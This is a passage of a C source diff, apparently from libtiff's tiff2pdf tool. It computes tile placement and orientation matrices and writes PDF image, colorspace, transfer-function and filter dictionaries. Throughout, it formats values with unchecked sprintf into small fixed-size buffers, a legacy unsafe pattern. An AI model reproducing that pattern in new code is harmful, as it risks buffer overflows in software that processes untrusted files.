+		for(i2=0;i2<tilecounty-1;i2++){
+			for(i=0;i<tilecountx-1;i++){
+				boxp=&(tiles[i2*tilecountx+i].tile_box);
+				boxp->x1 = 
+					t2p->pdf_imagebox.x1 
+					+ ((float)(t2p->pdf_imagewidth * i * tilewidth)
+					/ (float)t2p->tiff_width);
+				boxp->x2 = 
+					t2p->pdf_imagebox.x1 
+					+ ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth)
+					/ (float)t2p->tiff_width);
+				boxp->y1 = 
+					t2p->pdf_imagebox.y2 
+					- ((float)(t2p->pdf_imagelength * (i2+1) * tilelength)
+					/ (float)t2p->tiff_length);
+				boxp->y2 = 
+					t2p->pdf_imagebox.y2 
+					- ((float)(t2p->pdf_imagelength * i2 * tilelength)
+					/ (float)t2p->tiff_length);
+			}
+			boxp=&(tiles[i2*tilecountx+i].tile_box);
+			boxp->x1 = 
+				t2p->pdf_imagebox.x1 
+				+ ((float)(t2p->pdf_imagewidth * i * tilewidth)
+				/ (float)t2p->tiff_width);
+			boxp->x2 = t2p->pdf_imagebox.x2;
+			boxp->y1 = 
+				t2p->pdf_imagebox.y2 
+				- ((float)(t2p->pdf_imagelength * (i2+1) * tilelength)
+				/ (float)t2p->tiff_length);
+			boxp->y2 = 
+				t2p->pdf_imagebox.y2 
+				- ((float)(t2p->pdf_imagelength * i2 * tilelength)
+				/ (float)t2p->tiff_length);
+		}
+		for(i=0;i<tilecountx-1;i++){
+			boxp=&(tiles[i2*tilecountx+i].tile_box);
+			boxp->x1 = 
+				t2p->pdf_imagebox.x1 
+				+ ((float)(t2p->pdf_imagewidth * i * tilewidth)
+				/ (float)t2p->tiff_width);
+			boxp->x2 = 
+				t2p->pdf_imagebox.x1 
+				+ ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth)
+				/ (float)t2p->tiff_width);
+			boxp->y1 = t2p->pdf_imagebox.y1;
+			boxp->y2 = 
+				t2p->pdf_imagebox.y2 
+				- ((float)(t2p->pdf_imagelength * i2 * tilelength)
+				/ (float)t2p->tiff_length);
+		}
+		boxp=&(tiles[i2*tilecountx+i].tile_box);
+		boxp->x1 = 
+			t2p->pdf_imagebox.x1 
+			+ ((float)(t2p->pdf_imagewidth * i * tilewidth)
+			/ (float)t2p->tiff_width);
+		boxp->x2 = t2p->pdf_imagebox.x2;
+		boxp->y1 = t2p->pdf_imagebox.y1;
+		boxp->y2 = 
+			t2p->pdf_imagebox.y2 
+			- ((float)(t2p->pdf_imagelength * i2 * tilelength)
+			/ (float)t2p->tiff_length);
+	}
+	if(t2p->tiff_orientation==0 || t2p->tiff_orientation==1){
+		for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){
+			t2p_compose_pdf_page_orient( &(tiles[i].tile_box) , 0);
+		}
+		return;
+	}
+	for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){
+		boxp=&(tiles[i].tile_box);
+		boxp->x1 -= t2p->pdf_imagebox.x1;
+		boxp->x2 -= t2p->pdf_imagebox.x1;
+		boxp->y1 -= t2p->pdf_imagebox.y1;
+		boxp->y2 -= t2p->pdf_imagebox.y1;
+		if(t2p->tiff_orientation==2 || t2p->tiff_orientation==3){
+			boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1;
+			boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2;
+		}
+		if(t2p->tiff_orientation==3 || t2p->tiff_orientation==4){
+			boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1;
+			boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2;
+		}
+		if(t2p->tiff_orientation==8 || t2p->tiff_orientation==5){
+			boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1;
+			boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2;
+		}
+		if(t2p->tiff_orientation==5 || t2p->tiff_orientation==6){
+			boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1;
+			boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2;
+		}
+		if(t2p->tiff_orientation > 4){
+			f=boxp->x1;
+			boxp->x1 = boxp->y1;
+			boxp->y1 = f;
+			f=boxp->x2;
+			boxp->x2 = boxp->y2;
+			boxp->y2 = f; 
+			t2p_compose_pdf_page_orient_flip(boxp, t2p->tiff_orientation);
+		} else {
+			t2p_compose_pdf_page_orient(boxp, t2p->tiff_orientation);
+		}
+		
+	}
+
+	return;
+}
+
+void t2p_compose_pdf_page_orient(T2P_BOX* boxp, uint16 orientation){
+
+	float m1[9];
+	float f=0.0;
+	
+	if( boxp->x1 > boxp->x2){
+		f=boxp->x1;
+		boxp->x1=boxp->x2;
+		boxp->x2 = f;
+	}
+	if( boxp->y1 > boxp->y2){
+		f=boxp->y1;
+		boxp->y1=boxp->y2;
+		boxp->y2 = f;
+	}
+	boxp->mat[0]=m1[0]=boxp->x2-boxp->x1;
+	boxp->mat[1]=m1[1]=0.0;
+	boxp->mat[2]=m1[2]=0.0;
+	boxp->mat[3]=m1[3]=0.0;
+	boxp->mat[4]=m1[4]=boxp->y2-boxp->y1;
+	boxp->mat[5]=m1[5]=0.0;
+	boxp->mat[6]=m1[6]=boxp->x1;
+	boxp->mat[7]=m1[7]=boxp->y1;
+	boxp->mat[8]=m1[8]=1.0;
+	switch(orientation){
+		case 0:
+		case 1:
+			break;
+		case 2:
+			boxp->mat[0]=0.0F-m1[0];
+			boxp->mat[6]+=m1[0];
+			break;
+		case 3:
+			boxp->mat[0]=0.0F-m1[0];
+			boxp->mat[4]=0.0F-m1[4];
+			boxp->mat[6]+=m1[0];
+			boxp->mat[7]+=m1[4];
+			break;
+		case 4:
+			boxp->mat[4]=0.0F-m1[4];
+			boxp->mat[7]+=m1[4];
+			break;
+		case 5:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=0.0F-m1[0];
+			boxp->mat[3]=0.0F-m1[4];
+			boxp->mat[4]=0.0F;
+			boxp->mat[6]+=m1[4];
+			boxp->mat[7]+=m1[0];
+			break;
+		case 6:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=0.0F-m1[0];
+			boxp->mat[3]=m1[4];
+			boxp->mat[4]=0.0F;
+			boxp->mat[7]+=m1[0];
+			break;
+		case 7:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=m1[0];
+			boxp->mat[3]=m1[4];
+			boxp->mat[4]=0.0F;
+			break;
+		case 8:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=m1[0];
+			boxp->mat[3]=0.0F-m1[4];
+			boxp->mat[4]=0.0F;
+			boxp->mat[6]+=m1[4];
+			break;
+	}
+
+	return;
+}
+
+void t2p_compose_pdf_page_orient_flip(T2P_BOX* boxp, uint16 orientation){
+
+	float m1[9];
+	float f=0.0;
+	
+	if( boxp->x1 > boxp->x2){
+		f=boxp->x1;
+		boxp->x1=boxp->x2;
+		boxp->x2 = f;
+	}
+	if( boxp->y1 > boxp->y2){
+		f=boxp->y1;
+		boxp->y1=boxp->y2;
+		boxp->y2 = f;
+	}
+	boxp->mat[0]=m1[0]=boxp->x2-boxp->x1;
+	boxp->mat[1]=m1[1]=0.0F;
+	boxp->mat[2]=m1[2]=0.0F;
+	boxp->mat[3]=m1[3]=0.0F;
+	boxp->mat[4]=m1[4]=boxp->y2-boxp->y1;
+	boxp->mat[5]=m1[5]=0.0F;
+	boxp->mat[6]=m1[6]=boxp->x1;
+	boxp->mat[7]=m1[7]=boxp->y1;
+	boxp->mat[8]=m1[8]=1.0F;
+	switch(orientation){
+		case 5:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=0.0F-m1[4];
+			boxp->mat[3]=0.0F-m1[0];
+			boxp->mat[4]=0.0F;
+			boxp->mat[6]+=m1[0];
+			boxp->mat[7]+=m1[4];
+			break;
+		case 6:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=0.0F-m1[4];
+			boxp->mat[3]=m1[0];
+			boxp->mat[4]=0.0F;
+			boxp->mat[7]+=m1[4];
+			break;
+		case 7:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=m1[4];
+			boxp->mat[3]=m1[0];
+			boxp->mat[4]=0.0F;
+			break;
+		case 8:
+			boxp->mat[0]=0.0F;
+			boxp->mat[1]=m1[4];
+			boxp->mat[3]=0.0F-m1[0];
+			boxp->mat[4]=0.0F;
+			boxp->mat[6]+=m1[0];
+			break;
+	}
+
+	return;
+}
+
+/*
+	This function writes a PDF Contents stream to output.
+*/
+
+tsize_t t2p_write_pdf_page_content_stream(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	ttile_t i=0;
+	char buffer[512];
+	int buflen=0;
+	T2P_BOX box;
+	
+	if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount>0){ 
+		for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount; i++){
+			box=t2p->tiff_tiles[t2p->pdf_page].tiles_tiles[i].tile_box;
+			buflen=sprintf(buffer, 
+				"q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d_%ld Do Q\r", 
+				t2p->tiff_transferfunctioncount?"/GS1 gs ":"",
+				box.mat[0],
+				box.mat[1],
+				box.mat[3],
+				box.mat[4],
+				box.mat[6],
+				box.mat[7],
+				t2p->pdf_page + 1, 
+				(long)(i + 1));
+			written += t2p_write_pdf_stream(buffer, buflen, output);
+		}
+	} else {
+		box=t2p->pdf_imagebox;
+		buflen=sprintf(buffer, 
+			"q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d Do Q\r", 
+			t2p->tiff_transferfunctioncount?"/GS1 gs ":"",
+			box.mat[0],
+			box.mat[1],
+			box.mat[3],
+			box.mat[4],
+			box.mat[6],
+			box.mat[7],
+			t2p->pdf_page+1);
+		written += t2p_write_pdf_stream(buffer, buflen, output);
+	}
+
+	return(written);
+}
+
+/*
+	This function writes a PDF Image XObject stream dictionary to output. 
+*/
+
+tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t tile, 
+												T2P* t2p, 
+												TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+
+	written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); 
+	written += TIFFWriteFile(output, 
+		(tdata_t) "/Type /XObject \r/Subtype /Image \r/Name /Im", 
+		42);
+	buflen=sprintf(buffer, "%u", t2p->pdf_page+1);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	if(tile != 0){
+		written += TIFFWriteFile(output, (tdata_t) "_", 1);
+		buflen=sprintf(buffer, "%lu", (unsigned long)tile);
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	}
+	written += TIFFWriteFile(output, (tdata_t) "\r/Width ", 8);
+	_TIFFmemset((tdata_t)buffer, 0x00, 16);
+	if(tile==0){
+		buflen=sprintf(buffer, "%lu", (unsigned long)t2p->tiff_width);
+	} else {
+		if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){
+			buflen=sprintf(
+				buffer, 
+				"%lu", 
+				(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth);
+		} else {
+			buflen=sprintf(
+				buffer, 
+				"%lu", 
+				(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth);
+		}
+	}
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) "\r/Height ", 9);
+	_TIFFmemset((tdata_t)buffer, 0x00, 16);
+	if(tile==0){
+		buflen=sprintf(buffer, "%lu", (unsigned long)t2p->tiff_length);
+	} else {
+		if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){
+			buflen=sprintf(
+				buffer, 
+				"%lu", 
+				(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength);
+		} else {
+			buflen=sprintf(
+				buffer, 
+				"%lu", 
+				(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+		}
+	}
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) "\r/BitsPerComponent ", 19);
+	_TIFFmemset((tdata_t)buffer, 0x00, 16);
+	buflen=sprintf(buffer, "%u", t2p->tiff_bitspersample);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) "\r/ColorSpace ", 13);
+	written += t2p_write_pdf_xobject_cs(t2p, output);
+	if (t2p->pdf_image_interpolate)
+		written += TIFFWriteFile(output,
+					 (tdata_t) "\r/Interpolate true", 18);
+	if( (t2p->pdf_switchdecode != 0)
+#ifdef CCITT_SUPPORT
+		&& ! (t2p->pdf_colorspace == T2P_CS_BILEVEL 
+		&& t2p->pdf_compression == T2P_COMPRESS_G4)
+#endif
+		){
+		written += t2p_write_pdf_xobject_decode(t2p, output);
+	}
+	written += t2p_write_pdf_xobject_stream_filter(tile, t2p, output);
+	
+	return(written);
+}
+
+/*
+ * 	This function writes a PDF Image XObject Colorspace name to output.
+ */
+
+
+tsize_t t2p_write_pdf_xobject_cs(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[128];
+	int buflen=0;
+
+	float X_W=1.0;
+	float Y_W=1.0;
+	float Z_W=1.0;
+	
+	if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){
+		written += t2p_write_pdf_xobject_icccs(t2p, output);
+		return(written);
+	}
+	if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){
+		written += TIFFWriteFile(output, (tdata_t) "[ /Indexed ", 11);
+		t2p->pdf_colorspace ^= T2P_CS_PALETTE;
+		written += t2p_write_pdf_xobject_cs(t2p, output);
+		t2p->pdf_colorspace |= T2P_CS_PALETTE;
+		buflen=sprintf(buffer, "%u", (0x0001 << t2p->tiff_bitspersample)-1 );
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " ", 1);
+		_TIFFmemset(buffer, 0x00, 16);
+		buflen=sprintf(buffer, "%lu", (unsigned long)t2p->pdf_palettecs ); 
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R ]\r", 7);
+		return(written);
+	}
+	if(t2p->pdf_colorspace & T2P_CS_BILEVEL){
+			written += TIFFWriteFile(output, (tdata_t) "/DeviceGray \r", 13);
+	}
+	if(t2p->pdf_colorspace & T2P_CS_GRAY){
+			if(t2p->pdf_colorspace & T2P_CS_CALGRAY){
+				written += t2p_write_pdf_xobject_calcs(t2p, output);
+			} else {
+				written += TIFFWriteFile(output, (tdata_t) "/DeviceGray \r", 13);
+			}
+	}
+	if(t2p->pdf_colorspace & T2P_CS_RGB){
+			if(t2p->pdf_colorspace & T2P_CS_CALRGB){
+				written += t2p_write_pdf_xobject_calcs(t2p, output);
+			} else {
+				written += TIFFWriteFile(output, (tdata_t) "/DeviceRGB \r", 12);
+			}
+	}
+	if(t2p->pdf_colorspace & T2P_CS_CMYK){
+			written += TIFFWriteFile(output, (tdata_t) "/DeviceCMYK \r", 13);
+	}
+	if(t2p->pdf_colorspace & T2P_CS_LAB){
+			written += TIFFWriteFile(output, (tdata_t) "[/Lab << \r", 10);
+			written += TIFFWriteFile(output, (tdata_t) "/WhitePoint ", 12);
+			X_W = t2p->tiff_whitechromaticities[0];
+			Y_W = t2p->tiff_whitechromaticities[1];
+			Z_W = 1.0F - (X_W + Y_W);
+			X_W /= Y_W;
+			Z_W /= Y_W;
+			Y_W = 1.0F;
+			buflen=sprintf(buffer, "[%.4f %.4f %.4f] \r", X_W, Y_W, Z_W);
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			X_W = 0.3457F; /* 0.3127F; */ /* D50, commented D65 */
+			Y_W = 0.3585F; /* 0.3290F; */
+			Z_W = 1.0F - (X_W + Y_W);
+			X_W /= Y_W;
+			Z_W /= Y_W;
+			Y_W = 1.0F;
+			buflen=sprintf(buffer, "[%.4f %.4f %.4f] \r", X_W, Y_W, Z_W);
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			written += TIFFWriteFile(output, (tdata_t) "/Range ", 7);
+			buflen=sprintf(buffer, "[%d %d %d %d] \r", 
+				t2p->pdf_labrange[0], 
+				t2p->pdf_labrange[1], 
+				t2p->pdf_labrange[2], 
+				t2p->pdf_labrange[3]);
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			written += TIFFWriteFile(output, (tdata_t) ">>] \r", 5);
+			
+	}
+	
+	return(written);
+}
+
+tsize_t t2p_write_pdf_transfer(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+
+	written += TIFFWriteFile(output, (tdata_t) "<< /Type /ExtGState \r/TR ", 25);
+	if(t2p->tiff_transferfunctioncount == 1){
+		buflen=sprintf(buffer, "%lu",
+			       (unsigned long)(t2p->pdf_xrefcount + 1));
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+	} else {
+		written += TIFFWriteFile(output, (tdata_t) "[ ", 2);
+		buflen=sprintf(buffer, "%lu",
+			       (unsigned long)(t2p->pdf_xrefcount + 1));
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+		buflen=sprintf(buffer, "%lu",
+			       (unsigned long)(t2p->pdf_xrefcount + 2));
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+		buflen=sprintf(buffer, "%lu",
+			       (unsigned long)(t2p->pdf_xrefcount + 3));
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+		written += TIFFWriteFile(output, (tdata_t) "/Identity ] ", 12);
+	}
+
+	written += TIFFWriteFile(output, (tdata_t) " >> \r", 5);
+
+	return(written);
+}
+
+tsize_t t2p_write_pdf_transfer_dict(T2P* t2p, TIFF* output, uint16 i){
+
+	tsize_t written=0;
+	char buffer[32];
+	int buflen=0;
+	(void)i; // XXX
+
+	written += TIFFWriteFile(output, (tdata_t) "/FunctionType 0 \r", 17);
+	written += TIFFWriteFile(output, (tdata_t) "/Domain [0.0 1.0] \r", 19);
+	written += TIFFWriteFile(output, (tdata_t) "/Range [0.0 1.0] \r", 18);
+	buflen=sprintf(buffer, "/Size [%u] \r", (1<<t2p->tiff_bitspersample));
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) "/BitsPerSample 16 \r", 19);
+	written += t2p_write_pdf_stream_dict(1<<(t2p->tiff_bitspersample+1), 0, output);
+
+	return(written);
+}
+
+tsize_t t2p_write_pdf_transfer_stream(T2P* t2p, TIFF* output, uint16 i){
+
+	tsize_t written=0;
+
+	written += t2p_write_pdf_stream(
+		t2p->tiff_transferfunction[i], 
+		(1<<(t2p->tiff_bitspersample+1)), 
+		output);
+
+	return(written);
+}
+
+/*
+	This function writes a PDF Image XObject Colorspace array to output.
+*/
+
+tsize_t t2p_write_pdf_xobject_calcs(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[128];
+	int buflen=0;
+	
+	float X_W=0.0;
+	float Y_W=0.0;
+	float Z_W=0.0;
+	float X_R=0.0;
+	float Y_R=0.0;
+	float Z_R=0.0;
+	float X_G=0.0;
+	float Y_G=0.0;
+	float Z_G=0.0;
+	float X_B=0.0;
+	float Y_B=0.0;
+	float Z_B=0.0;
+	float x_w=0.0;
+	float y_w=0.0;
+	float z_w=0.0;
+	float x_r=0.0;
+	float y_r=0.0;
+	float x_g=0.0;
+	float y_g=0.0;
+	float x_b=0.0;
+	float y_b=0.0;
+	float R=1.0;
+	float G=1.0;
+	float B=1.0;
+	
+	written += TIFFWriteFile(output, (tdata_t) "[", 1);
+	if(t2p->pdf_colorspace & T2P_CS_CALGRAY){
+		written += TIFFWriteFile(output, (tdata_t) "/CalGray ", 9);
+		X_W = t2p->tiff_whitechromaticities[0];
+		Y_W = t2p->tiff_whitechromaticities[1];
+		Z_W = 1.0F - (X_W + Y_W);
+		X_W /= Y_W;
+		Z_W /= Y_W;
+		Y_W = 1.0F;
+	}
+	if(t2p->pdf_colorspace & T2P_CS_CALRGB){
+		written += TIFFWriteFile(output, (tdata_t) "/CalRGB ", 8);
+		x_w = t2p->tiff_whitechromaticities[0];
+		y_w = t2p->tiff_whitechromaticities[1];
+		x_r = t2p->tiff_primarychromaticities[0];
+		y_r = t2p->tiff_primarychromaticities[1];
+		x_g = t2p->tiff_primarychromaticities[2];
+		y_g = t2p->tiff_primarychromaticities[3];
+		x_b = t2p->tiff_primarychromaticities[4];
+		y_b = t2p->tiff_primarychromaticities[5];
+		z_w = y_w * ((x_g - x_b)*y_r - (x_r-x_b)*y_g + (x_r-x_g)*y_b);
+		Y_R = (y_r/R) * ((x_g-x_b)*y_w - (x_w-x_b)*y_g + (x_w-x_g)*y_b) / z_w;
+		X_R = Y_R * x_r / y_r;
+		Z_R = Y_R * (((1-x_r)/y_r)-1);
+		Y_G = ((0.0F-(y_g))/G) * ((x_r-x_b)*y_w - (x_w-x_b)*y_r + (x_w-x_r)*y_b) / z_w;
+		X_G = Y_G * x_g / y_g;
+		Z_G = Y_G * (((1-x_g)/y_g)-1);
+		Y_B = (y_b/B) * ((x_r-x_g)*y_w - (x_w-x_g)*y_r + (x_w-x_r)*y_g) / z_w;
+		X_B = Y_B * x_b / y_b;
+		Z_B = Y_B * (((1-x_b)/y_b)-1);
+		X_W = (X_R * R) + (X_G * G) + (X_B * B);
+		Y_W = (Y_R * R) + (Y_G * G) + (Y_B * B);
+		Z_W = (Z_R * R) + (Z_G * G) + (Z_B * B);
+		X_W /= Y_W;
+		Z_W /= Y_W;
+		Y_W = 1.0;
+	}
+	written += TIFFWriteFile(output, (tdata_t) "<< \r", 4);
+	if(t2p->pdf_colorspace & T2P_CS_CALGRAY){
+		written += TIFFWriteFile(output, (tdata_t) "/WhitePoint ", 12);
+		buflen=sprintf(buffer, "[%.4f %.4f %.4f] \r", X_W, Y_W, Z_W);
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) "/Gamma 2.2 \r", 12);
+	}
+	if(t2p->pdf_colorspace & T2P_CS_CALRGB){
+		written += TIFFWriteFile(output, (tdata_t) "/WhitePoint ", 12);
+		buflen=sprintf(buffer, "[%.4f %.4f %.4f] \r", X_W, Y_W, Z_W);
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) "/Matrix ", 8);
+		buflen=sprintf(buffer, "[%.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f] \r", 
+			X_R, Y_R, Z_R, 
+			X_G, Y_G, Z_G, 
+			X_B, Y_B, Z_B); 
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) "/Gamma [2.2 2.2 2.2] \r", 22);
+	}
+	written += TIFFWriteFile(output, (tdata_t) ">>] \r", 5);
+
+	return(written);
+}
+
+/*
+	This function writes a PDF Image XObject Colorspace array to output.
+*/
+
+tsize_t t2p_write_pdf_xobject_icccs(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+	
+	written += TIFFWriteFile(output, (tdata_t) "[/ICCBased ", 11);
+	buflen=sprintf(buffer, "%lu", (unsigned long)t2p->pdf_icccs);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " 0 R] \r", 7);
+
+	return(written);
+}
+
+tsize_t t2p_write_pdf_xobject_icccs_dict(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+	
+	written += TIFFWriteFile(output, (tdata_t) "/N ", 3);
+	buflen=sprintf(buffer, "%u \r", t2p->tiff_samplesperpixel);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) "/Alternate ", 11);
+	t2p->pdf_colorspace ^= T2P_CS_ICCBASED;
+	written += t2p_write_pdf_xobject_cs(t2p, output);
+	t2p->pdf_colorspace |= T2P_CS_ICCBASED;
+	written += t2p_write_pdf_stream_dict(t2p->tiff_iccprofilelength, 0, output);
+	
+	return(written);
+}
+
+tsize_t t2p_write_pdf_xobject_icccs_stream(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+
+	written += t2p_write_pdf_stream(
+				(tdata_t) t2p->tiff_iccprofile, 
+				(tsize_t) t2p->tiff_iccprofilelength, 
+				output);
+	
+	return(written);
+}
+
+/*
+	This function writes a palette stream for an indexed color space to output.
+*/
+
+tsize_t t2p_write_pdf_xobject_palettecs_stream(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+
+	written += t2p_write_pdf_stream(
+				(tdata_t) t2p->pdf_palette, 
+				(tsize_t) t2p->pdf_palettesize, 
+				output);
+	
+	return(written);
+}
+
+/*
+	This function writes a PDF Image XObject Decode array to output.
+*/
+
+tsize_t t2p_write_pdf_xobject_decode(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	int i=0;
+
+	written += TIFFWriteFile(output, (tdata_t) "/Decode [ ", 10);
+	for (i=0;i<t2p->tiff_samplesperpixel;i++){
+		written += TIFFWriteFile(output, (tdata_t) "1 0 ", 4);
+	}
+	written += TIFFWriteFile(output, (tdata_t) "]\r", 2);
+
+	return(written);
+}
+
+/*
+	This function writes a PDF Image XObject stream filter name and parameters to 
+	output.
+*/
+
+tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t tile, T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+
+	if(t2p->pdf_compression==T2P_COMPRESS_NONE){
+		return(written);
+	}
+	written += TIFFWriteFile(output, (tdata_t) "/Filter ", 8);
+	switch(t2p->pdf_compression){
+#ifdef CCITT_SUPPORT
+		case T2P_COMPRESS_G4:
+			written += TIFFWriteFile(output, (tdata_t) "/CCITTFaxDecode ", 16);
+			written += TIFFWriteFile(output, (tdata_t) "/DecodeParms ", 13);
+			written += TIFFWriteFile(output, (tdata_t) "<< /K -1 ", 9);
+			if(tile==0){
+				written += TIFFWriteFile(output, (tdata_t) "/Columns ", 9);
+				buflen=sprintf(buffer, "%lu",
+					       (unsigned long)t2p->tiff_width);
+				written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				written += TIFFWriteFile(output, (tdata_t) " /Rows ", 7);
+				buflen=sprintf(buffer, "%lu",
+					       (unsigned long)t2p->tiff_length);
+				written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			} else {
+				if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){
+					written += TIFFWriteFile(output, (tdata_t) "/Columns ", 9);
+					buflen=sprintf(
+						buffer, 
+						"%lu", 
+						(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth);
+					written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				} else {
+					written += TIFFWriteFile(output, (tdata_t) "/Columns ", 9);
+					buflen=sprintf(
+						buffer, 
+						"%lu", 
+						(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth);
+					written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				}
+				if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){
+					written += TIFFWriteFile(output, (tdata_t) " /Rows ", 7);
+					buflen=sprintf(
+						buffer, 
+						"%lu", 
+						(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+					written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				} else {
+					written += TIFFWriteFile(output, (tdata_t) " /Rows ", 7);
+					buflen=sprintf(
+						buffer, 
+						"%lu", 
+						(unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength);
+					written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				}
+			}
+			if(t2p->pdf_switchdecode == 0){
+				written += TIFFWriteFile(output, (tdata_t) " /BlackIs1 true ", 16);
+			}
+			written += TIFFWriteFile(output, (tdata_t) ">>\r", 3);
+			break;
+#endif
+#ifdef JPEG_SUPPORT
+		case T2P_COMPRESS_JPEG:
+			written += TIFFWriteFile(output, (tdata_t) "/DCTDecode ", 11);
+
+			if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR) {
+				written += TIFFWriteFile(output, (tdata_t) "/DecodeParms ", 13);
+				written += TIFFWriteFile(output, (tdata_t) "<< /ColorTransform 0 >>\r", 24);
+			}
+			break;
+#endif
+#ifdef ZIP_SUPPORT
+		case T2P_COMPRESS_ZIP:
+			written += TIFFWriteFile(output, (tdata_t) "/FlateDecode ", 13);
+			if(t2p->pdf_compressionquality%100){
+				written += TIFFWriteFile(output, (tdata_t) "/DecodeParms ", 13);
+				written += TIFFWriteFile(output, (tdata_t) "<< /Predictor ", 14);
+				_TIFFmemset(buffer, 0x00, 16);
+				buflen=sprintf(buffer, "%u", t2p->pdf_compressionquality%100);
+				written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+				written += TIFFWriteFile(output, (tdata_t) " /Columns ", 10);
+				_TIFFmemset(buffer, 0x00, 16);
+				buflen = sprintf(buffer, "%lu",
